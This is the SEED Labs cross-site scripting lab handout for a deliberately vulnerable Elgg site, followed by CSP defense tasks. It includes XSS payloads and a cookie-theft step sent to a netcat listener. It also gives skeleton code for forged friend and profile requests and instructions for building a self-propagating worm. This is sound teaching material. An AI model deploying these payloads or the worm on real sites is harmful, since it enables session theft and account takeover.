It’s a lab project

SEED Labs – Cross-Site Scripting Attack Lab
1
Cross-Site Scripting (XSS) Attack Lab
(Web Application: Elgg)
Copyright © 2006 – 2020 by Wenliang Du.
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or
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1
Overview
Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability
makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim’s web browser.
Using this malicious code, attackers can steal a victim’s credentials, such as session cookies. The access
control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be
bypassed by exploiting XSS vulnerabilities.
To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named Elgg in our pre-built Ubuntu VM image. Elgg is a very popular open-source web application
for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To
demonstrate how XSS attacks work, we have commented out these countermeasures in Elgg in our installation, intentionally making Elgg vulnerable to XSS attacks. Without the countermeasures, users can post any
arbitrary message, including JavaScript programs, to the user profiles.
In this lab, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg, in a
way that is similar to what Samy Kamkar did to MySpace in 2005 through the notorious Samy worm. The
ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected
user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list.
This lab covers the following topics:
• Cross-Site Scripting attack
• XSS worm and self-propagation
• Session cookies
• HTTP GET and POST requests
• JavaScript and Ajax
• Content Security Policy (CSP)
Readings. Detailed coverage of the Cross-Site Scripting attack can be found in the following:
• Chapter 10 of the SEED Book, Computer & Internet Security: A Hands-on Approach, 2nd Edition,
by Wenliang Du. See details at https://www.handsonsecurity.net.
Lab environment. This lab has been tested on our pre-built Ubuntu 20.04 VM, which can be downloaded
from the SEED website. Since we use containers to set up the lab environment, this lab does not depend
much on the SEED VM. You can do this lab using other VMs, physical machines, or VMs on the cloud.
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Lab Environment Setup
2.1
DNS Setup
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We have set up several websites for this lab. They are hosted by the container 10.9.0.5. We need to map
the names of the web server to this IP address. Please add the following entries to /etc/hosts. You need
to use the root privilege to modify this file:
10.9.0.5
10.9.0.5
10.9.0.5
10.9.0.5
10.9.0.5
10.9.0.5
2.2
www.seed-server.com
www.example32a.com
www.example32b.com
www.example32c.com
www.example60.com
www.example70.com
Container Setup and Commands
Please download the Labsetup.zip file to your VM from the lab’s website, unzip it, enter the Labsetup
folder, and use the docker-compose.yml file to set up the lab environment. Detailed explanation of the
content in this file and all the involved Dockerfile can be found from the user manual, which is linked
to the website of this lab. If this is the first time you set up a SEED lab environment using containers, it is
very important that you read the user manual.
In the following, we list some of the commonly used commands related to Docker and Compose. Since
we are going to use these commands very frequently, we have created aliases for them in the .bashrc file
(in our provided SEEDUbuntu 20.04 VM).
$ docker-compose build
$ docker-compose up
$ docker-compose down
# Build the container image
# Start the container
# Shut down the container
// Aliases for the Compose commands above
$ dcbuild
# Alias for: docker-compose build
$ dcup
# Alias for: docker-compose up
$ dcdown
# Alias for: docker-compose down
All the containers will be running in the background. To run commands on a container, we often need
to get a shell on that container. We first need to use the “docker ps” command to find out the ID of
the container, and then use “docker exec” to start a shell on that container. We have created aliases for
them in the .bashrc file.
$ dockps
$ docksh
// Alias for: docker ps –format “{{.ID}} {{.Names}}”
// Alias for: docker exec -it /bin/bash
// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 hostA-10.9.0.5
0af4ea7a3e2e hostB-10.9.0.6
9652715c8e0a hostC-10.9.0.7
$ docksh 96
root@9652715c8e0a:/#
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// Note: If a docker command requires a container ID, you do not need to
//
type the entire ID string. Typing the first few characters will
//
be sufficient, as long as they are unique among all the containers.
If you encounter problems when setting up the lab environment, please read the “Common Problems”
section of the manual for potential solutions.
2.3
Elgg Web Application
We use an open-source web application called Elgg in this lab. Elgg is a web-based social-networking application. It is already set up in the provided container images; its URL is http://www.seed-server.
com. We use two containers, one running the web server (10.9.0.5) , and the other running the MySQL
database (10.9.0.6). The IP addresses for these two containers are hardcoded in various places in the
configuration, so please do not change them from the docker-compose.yml file.
MySQL database. Containers are usually disposable, so once it is destroyed, all the data inside the containers are lost. For this lab, we do want to keep the data in the MySQL database, so we do not lose
our work when we shutdown our container. To achieve this, we have mounted the mysql data folder
on the host machine (inside Labsetup, it will be created after the MySQL container runs once) to the
/var/lib/mysql folder inside the MySQL container. This folder is where MySQL stores its database.
Therefore, even if the container is destroyed, data in the database are still kept. If you do want to start from
a clean database, you can remove this folder:
$ sudo rm -rf mysql_data
User accounts. We have created several user accounts on the Elgg server; the user name and passwords
are given in the following.
—————————UserName | Password
—————————admin
| seedelgg
alice
| seedalice
boby
| seedboby
charlie
| seedcharlie
samy
| seedsamy
—————————-
3
Lab Tasks
When you copy and paste code from this PDF file, very often, the quotation marks, especially single quote,
may turn into a different symbol that looks similar. They will cause errors in the code, so keep that in mind.
When that happens, delete them, and manually type those symbols.
3.1
Preparation: Getting Familiar with the “HTTP Header Live” tool
In this lab, we need to construct HTTP requests. To figure out what an acceptable HTTP request in Elgg
looks like, we need to be able to capture and analyze HTTP requests. We can use a Firefox add-on called
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“HTTP Header Live” for this purpose. Before you start working on this lab, you should get familiar
with this tool. Instructions on how to use this tool is given in the Guideline section (§ 5.1).
3.2
Task 1: Posting a Malicious Message to Display an Alert Window
The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another
user views your profile, the JavaScript program will be executed and an alert window will be displayed. The
following JavaScript program will display an alert window:
alert(’XSS’);
If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user
who views your profile will see the alert window.
In this case, the JavaScript code is short enough to be typed into the short description field. If you want
to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can
store the JavaScript program in a standalone file, save it with the .js extension, and then refer to it using the
src attribute in the tag. See the following example:
In the above example, the page will fetch the JavaScript program from http://www.example.com,
which can be any web server.
3.3
Task 2: Posting a Malicious Message to Display Cookies
The objective of this task is to embed a JavaScript program in your Elgg profile, such that when another
user views your profile, the user’s cookies will be displayed in the alert window. This can be done by adding
some additional code to the JavaScript program in the previous task:
alert(document.cookie);
3.4
Task 3: Stealing Cookies from the Victim’s Machine
In the previous task, the malicious JavaScript code written by the attacker can print out the user’s cookies,
but only the user can see the cookies, not the attacker. In this task, the attacker wants the JavaScript code to
send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP
request to the attacker, with the cookies appended to the request.
We can do this by having the malicious JavaScript insert an tag with its src attribute set to the
attacker’s machine. When the JavaScript inserts the img tag, the browser tries to load the image from the
URL in the src field; this results in an HTTP GET request sent to the attacker’s machine. The JavaScript
given below sends the cookies to the port 5555 of the attacker’s machine (with IP address 10.9.0.1),
where the attacker has a TCP server listening to the same port.
document.write(’’);
A commonly used program by attackers is netcat (or nc) , which, if running with the “-l” option,
becomes a TCP server that listens for a connection on the specified port. This server program basically
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prints out whatever is sent by the client and sends to the client whatever is typed by the user running the
server. Type the command below to listen on port 5555:
$ nc -lknv 5555
The -l option is used to specify that nc should listen for an incoming connection rather than initiate a
connection to a remote host. The -nv option is used to have nc give more verbose output. The -k option
means when a connection is completed, listen for another one.
3.5
Task 4: Becoming the Victim’s Friend
In this and next task, we will perform an attack similar to what Samy did to MySpace in 2005 (i.e. the Samy
Worm). We will write an XSS worm that adds Samy as a friend to any other user that visits Samy’s page.
This worm does not self-propagate; in task 6, we will make it self-propagating.
In this task, we need to write a malicious JavaScript program that forges HTTP requests directly from
the victim’s browser, without the intervention of the attacker. The objective of the attack is to add Samy as
a friend to the victim. We have already created a user called Samy on the Elgg server (the user name is
samy).
To add a friend for the victim, we should first find out how a legitimate user adds a friend in Elgg. More
specifically, we need to figure out what are sent to the server when a user adds a friend. Firefox’s HTTP
inspection tool can help us get the information. It can display the contents of any HTTP request message
sent from the browser. From the contents, we can identify all the parameters in the request. Section 5
provides guidelines on how to use the tool.
Once we understand what the add-friend HTTP request look like, we can write a JavaScript program to
send out the same HTTP request. We provide a skeleton JavaScript code that aids in completing the task.
window.onload = function () {
var Ajax=null;
var ts=”&__elgg_ts=”+elgg.security.token.__elgg_ts;
var token=”&__elgg_token=”+elgg.security.token.__elgg_token;
À
Á
//Construct the HTTP request to add Samy as a friend.
var sendurl=…; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open(“GET”, sendurl, true);
Ajax.send();
}
The above code should be placed in the “About Me” field of Samy’s profile page. This field provides
two editing modes: Editor mode (default) and Text mode. The Editor mode adds extra HTML code to the
text typed into the field, while the Text mode does not. Since we do not want any extra code added to our
attacking code, the Text mode should be enabled before entering the above JavaScript code. This can be
done by clicking on “Edit HTML”, which can be found at the top right of the “About Me” text field.
Questions. Please answer the following questions:
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• Question 1: Explain the purpose of Lines À and Á, why are they are needed?
• Question 2: If the Elgg application only provide the Editor mode for the “About Me” field, i.e.,
you cannot switch to the Text mode, can you still launch a successful attack?
3.6
Task 5: Modifying the Victim’s Profile
The objective of this task is to modify the victim’s profile when the victim visits Samy’s page. Specifically,
modify the victim’s “About Me” field. We will write an XSS worm to complete the task. This worm does
not self-propagate; in task 6, we will make it self-propagating.
Similar to the previous task, we need to write a malicious JavaScript program that forges HTTP requests
directly from the victim’s browser, without the intervention of the attacker. To modify profile, we should
first find out how a legitimate user edits or modifies his/her profile in Elgg. More specifically, we need
to figure out how the HTTP POST request is constructed to modify a user’s profile. We will use Firefox’s
HTTP inspection tool. Once we understand how the modify-profile HTTP POST request looks like, we can
write a JavaScript program to send out the same HTTP request. We provide a skeleton JavaScript code that
aids in completing the task.
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=”&name=”+elgg.session.user.name;
var guid=”&guid=”+elgg.session.user.guid;
var ts=”&__elgg_ts=”+elgg.security.token.__elgg_ts;
var token=”&__elgg_token=”+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content=…;
//FILL IN
var samyGuid=…;
//FILL IN
var sendurl=…;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
À
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open(“POST”, sendurl, true);
Ajax.setRequestHeader(“Content-Type”,
“application/x-www-form-urlencoded”);
Ajax.send(content);
}
}
Similar to Task 4, the above code should be placed in the “About Me” field of Samy’s profile page,
and the Text mode should be enabled before entering the above JavaScript code.
Questions. Please answer the following questions:
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• Question 3: Why do we need Line À? Remove this line, and repeat your attack. Report and explain
your observation.
3.7
Task 6: Writing a Self-Propagating XSS Worm
To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely,
whenever some people view an infected profile, not only will their profiles be modified, the worm will also
be propagated to their profiles, further affecting others who view these newly infected profiles. This way,
the more people view the infected profiles, the faster the worm can propagate. This is exactly the same
mechanism used by the Samy Worm: within just 20 hours of its October 4, 2005 release, over one million
users were affected, making Samy one of the fastest spreading viruses of all time. The JavaScript code that
can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement
such a worm, which not only modifies the victim’s profile and adds the user “Samy” as a friend, but also
add a copy of the worm itself to the victim’s profile, so the victim is turned into an attacker.
To achieve self-propagation, when the malicious JavaScript modifies the victim’s profile, it should copy
itself to the victim’s profile. There are several approaches to achieve this, and we will discuss two common
approaches.
Link Approach: If the worm is included using the src attribute in the tag, writing selfpropagating worms is much easier. We have discussed the src attribute in Task 1, and an example is given
below. The worm can simply copy the following tag to the victim’s profile, essentially infecting
the profile with the same worm.
DOM Approach: If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to
propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from
the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and displays
it in an alert window:
var headerTag = “”;
var jsCode = document.getElementById(“worm”).innerHTML;
var tailTag = “”;
À
Á
Â
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
Ã
alert(jsCode);
It should be noted that innerHTML (line Á) only gives us the inside part of the code, not including the
surrounding script tags. We just need to add the beginning tag (line À) and
the ending tag (line Â) to form an identical copy of the malicious code.
When data are sent in HTTP POST requests with the Content-Type set to application/x-wwwform-urlencoded, which is the type used in our code, the data should also be encoded. The encoding
scheme is called URL encoding, which replaces non-alphanumeric characters in the data with %HH, a percentage sign and two hexadecimal digits representing the ASCII code of the character. The encodeURICom
ponent() function in line à is used to URL-encode a string.
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Note: In this lab, you can try both Link and DOM approaches, but the DOM approach is required, because
it is more challenging and it does not rely on external JavaScript code.
3.8
Elgg’s Countermeasures
This sub-section is only for information, and there is no specific task to do. It shows how Elgg defends
against the XSS attack. Elgg does have built-in countermeasures, and we have disabled them to make the
attack work. Actually, Elgg uses two countermeasures. One is a custom built security plugin HTMLawed,
which validates the user input and removes the tags from the input. We have commented out the invocation
of the plugin inside the filter tags() function in input.php, which is located inside vendor/
elgg/elgg/engine/lib/. See the following:
function filter_tags($var) {
// return elgg_trigger_plugin_hook(’validate’, ’input’, null, $var);
return $var;
}
In addition to HTMLawed, Elgg also uses PHP’s built-in method htmlspecialchars() to encode
the special characters in user input, such as encoding “” to “>”, etc. This method
is invoked in dropdown.php, text.php, and url.php inside the vendor/elgg/elgg/views/
default/output/ folder. We have commented them out to turn off the countermeasure.
4
Task 7: Defeating XSS Attacks Using CSP
The fundamental problem of the XSS vulnerability is that HTML allows JavaScript code to be mixed with
data. Therefore, to fix this fundamental problem, we need to separate code from data. There are two ways to
include JavaScript code inside an HTML page, one is the inline approach, and the other is the link approach.
The inline approach directly places code inside the page, while the link approach puts the code in an external
file, and then link to it from inside the page.
The inline approach is the culprit of the XSS vulnerability, because browsers do not know where the code
originally comes from: is it from the trusted web server or from untrusted users? Without such knowledge,
browsers do not know which code is safe to execute, and which one is dangerous. The link approach provides
a very important piece of information to browsers, i.e., where the code comes from. Websites can then tell
browsers which sources are trustworthy, so browsers know which piece of code is safe to execute. Although
attackers can also use the link approach to include code in their input, they cannot place their code in those
trustworthy places.
How websites tell browsers which code source is trustworthy is achieved using a security mechanism
called Content Security Policy (CSP). This mechanism is specifically designed to defeat XSS and ClickJacking attacks. It has become a standard, which is supported by most browsers nowadays. CSP not only
restricts JavaScript code, it also restricts other page contents, such as limiting where pictures, audio, and
video can come from, as well as restricting whether a page can be put inside an iframe or not (used for
defeating ClickJacking attacks). Here, we will only focus on how to use CSP to defeat XSS attacks.
4.1
Experiment Website setup
To conduct experiments on CSP, we will set up several websites. Inside the Labsetup/image www
docker image folder, there is a file called apache csp.conf. It defines five websites, which share the
same folder, but they will use different files in this folder. The example60 and example70 sites are used
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for hosting JavaScript code. The example32a, example32b, and example32c are the three websites
that have different CSP configurations. Details of the configuration will be explained later.
Changing the configuration file. In the experiment, you need to modify this Apache configuration file
(apache csp.conf). If you make a modification directly on the file inside the image folder, you need to
rebuild the image and restart the container, so the change can take effect.
You can also modify the file while the container is running. The downside of this option is that in order
to keep the docker image small, we have only installed a very simple text editor called nano inside the container. It should be sufficient for simple editing. If you do not like it, you can always add an installation command to the Dockerfile to install your favorite command-line text editor. On the running container, you
can find the configuration file apache csp.conf inside the /etc/apache2/sites-available
folder. After making changes, you need to restart the Apache server for the changes to take effect:
# service apache2 restart
DNS Setup. We will access the above websites from our VM. To access them through their respective
URLs, we need to add the following entries to the /etc/hosts file (if you have not done so already at the
beginning of the lab), so these hostnames are mapped to the IP address of the server container (10.9.0.5).
You need to use the root privilege to change this file (using sudo).
10.9.0.5
10.9.0.5
10.9.0.5
10.9.0.5
10.9.0.5
4.2
www.example32a.com
www.example32b.com
www.example32c.com
www.example60.com
www.example70.com
The web page for the experiment
The example32(a|b|c) servers host the same web page index.html, which is used to demonstrate
how the CSP policies work. In this page, there are six areas, area1 to area6. Initially, each area displays
“Failed”. The page also includes six pieces of JavaScript code, each trying to write “OK” to its corresponding area. If we can see OK in an area, that means, the JavaScript code corresponding to that area has
been executed successfully; otherwise, we would see Failed. There is also a button on this page. If it is
clicked, a message will pop up, if the underlying JavaScript code gets triggered.
Listing 1: The experiment web page index.html
CSP Experiment
1. Inline: Nonce (111-111-111): Failed
2. Inline: Nonce (222-222-222): Failed
3. Inline: No Nonce: Failed
4. From self: Failed
5. From www.example60.com: Failed
6. From www.example70.com: Failed
7. From button click:
Click me
document.getElementById(’area1’).innerHTML = “OK”;
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document.getElementById(’area2’).innerHTML = “OK”;
document.getElementById(’area3’).innerHTML = “OK”;
4.3
Setting CSP Policies
CSP is set by the web server as an HTTP header. There are two typical ways to set the header, by the web
server (such as Apache) or by the web application. In this experiment, we will conduct experiments using
both approaches.
CSP configuration by Apache. Apache can set HTTP headers for all the responses, so we can use Apache
to set CSP policies. In our configuration, we set up three websites, but only the second one sets CSP policies
(the lines marked by n). With this setup, when we visit example32b, Apache will add the specified CSP
header to all the response from this site.
# Purpose: Do not set CSP policies
DocumentRoot /var/www/csp
ServerName www.example32a.com
DirectoryIndex index.html
# Purpose: Setting CSP policies in Apache configuration
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy ” \
n
default-src ’self’; \
n
script-src ’self’ *.example70.com \
n
”
# Purpose: Setting CSP policies in web applications
l
DocumentRoot /var/www/csp
ServerName www.example32c.com
DirectoryIndex phpindex.php
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CSP configuration by web applications. For the third VirtualHost entry in our configuration file
(marked by l), we did not set up any CSP policy. However, instead of accessing index.html, the entry
point of this site is phpindex.php, which is a PHP program. This program, listed below, adds a CSP
header to the response generated from the program.
4.4
Lab tasks
After starting the containers and making changes to the /etc/hosts, please visit the following URLs
from your VM.
http://www.example32a.com
http://www.example32b.com
http://www.example32c.com
1. Describe and explain your observations when you visit these websites.
2. Click the button in the web pages from all the three websites, describe and explain your observations.
3. Change the server configuration on example32b (modify the Apache configuration), so Areas 5 and
6 display OK. Please include your modified configuration in the lab report.
4. Change the server configuration on example32c (modify the PHP code), so Areas 1, 2, 4, 5, and 6
all display OK. Please include your modified configuration in the lab report.
5. Please explain why CSP can help prevent Cross-Site Scripting attacks.
5
Guidelines
5.1
Using the “HTTP Header Live” add-on to Inspect HTTP Headers
The version of Firefox (version 60) in our Ubuntu 16.04 VM does not support the LiveHTTPHeader
add-on, which was used in our Ubuntu 12.04 VM. A new add-on called “HTTP Header Live” is used
in its place. The instruction on how to enable and use this add-on tool is depicted in Figure 1. Just click the
icon marked by À; a sidebar will show up on the left. Make sure that HTTP Header Live is selected
at position Á. Then click any link inside a web page, all the triggered HTTP requests will be captured and
displayed inside the sidebar area marked by Â. If you click on any HTTP request, a pop-up window will
show up to display the selected HTTP request. Unfortunately, there is a bug in this add-on tool (it is still
under development); nothing will show up inside the pop-up window unless you change its size (It seems
that re-drawing is not automatically triggered when the window pops up, but changing its size will trigger
the re-drawing).
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2
1
3
Figure 1: Enable the HTTP Header Live Add-on
5.2
Using the Web Developer Tool to Inspect HTTP Headers
There is another tool provided by Firefox that can be quite useful in inspecting HTTP headers. The tool is
the Web Developer Network Tool. In this section, we cover some of the important features of the tool. The
Web Developer Network Tool can be enabled via the following navigation:
Click Firefox’s top right menu –> Web Developer –> Network
or
Click the “Tools” menu –> Web Developer –> Network
We use the user login page in Elgg as an example. Figure 2 shows the Network Tool showing the HTTP
POST request that was used for login.
Figure 2: HTTP Request in Web Developer Network Tool
To further see the details of the request, we can click on a particular HTTP request and the tool will
show the information in two panes (see Figure 3).
The details of the selected request will be visible in the right pane. Figure 4(a) shows the details of the
login request in the Headers tab (details include URL, request method, and cookie). One can observe
both request and response headers in the right pane. To check the parameters involved in an HTTP request,
we can use the Params tab. Figure 4(b) shows the parameter sent in the login request to Elgg, including
username and password. The tool can be used to inspect HTTP GET requests in a similar manner to
HTTP POST requests.
Font Size. The default font size of Web Developer Tools window is quite small. It can be increased by
focusing click anywhere in the Network Tool window, and then using Ctrl and + button.
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Figure 3: HTTP Request and Request Details in Two Panes
(a) HTTP Request Headers
(b) HTTP Request Parameters
Figure 4: HTTP Headers and Parameters
5.3
JavaScript Debugging
We may also need to debug our JavaScript code. Firefox’s Developer Tool can also help debug JavaScript
code. It can point us to the precise places where errors occur. The following instruction shows how to enable
this debugging tool:
Click the “Tools” menu –> Web Developer –> Web Console
or use the Shift+Ctrl+K shortcut.
Once we are in the web console, click the JS tab. Click the downward pointing arrowhead beside JS
and ensure there is a check mark beside Error. If you are also interested in Warning messages, click
Warning. See Figure 5.
If there are any errors in the code, a message will display in the console. The line that caused the error
appears on the right side of the error message in the console. Click on the line number and you will be taken
to the exact place that has the error. See Figure 6.
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Figure 5: Debugging JavaScript Code (1)
Figure 6: Debugging JavaScript Code (2)
6
Submission
You need to submit a detailed lab report, with screenshots, to describe what you have done and what you
have observed. You also need to provide explanation to the observations that are interesting or surprising.
Please also list the important code snippets followed by explanation. Simply attaching code without any
explanation will not receive credits.